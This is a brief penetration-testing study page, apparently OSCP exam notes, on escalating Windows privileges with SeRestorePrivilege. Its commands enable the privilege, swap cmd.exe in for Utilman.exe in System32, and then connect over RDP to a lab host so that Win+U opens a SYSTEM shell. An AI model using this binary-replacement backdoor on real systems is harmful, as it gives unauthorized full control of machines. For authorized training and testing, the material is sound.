> For the complete documentation index, see [llms.txt](https://oscp.adot8.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://oscp.adot8.com/windows-privilege-escalation/whoami-priv/serestoreprivilege.md).

# SeRestorePrivilege

```
PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeRestorePrivilege            Restore files and directories  Enabled
```

{% embed url="<https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1>" %}

```
.\EnableSeRestorePrivilege.ps1
```

```
ren C:\Windows\System32\Utilman.exe C:\Windows\System32\Utilman.pwned
ren C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe
```

```
rdesktop 192.168.241.165
```

{% hint style="info" %}
Hit Win + U
{% endhint %}

<figure><img src="https://3007503158-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fp6nDpW0GBTPP8pZM4JHQ%2Fuploads%2FLv2RAD4c9P8nlisRnsf4%2Fimage.png?alt=media&amp;token=84a27319-f7cf-4c9a-9ba7-98a1c9a44280" alt=""><figcaption></figcaption></figure>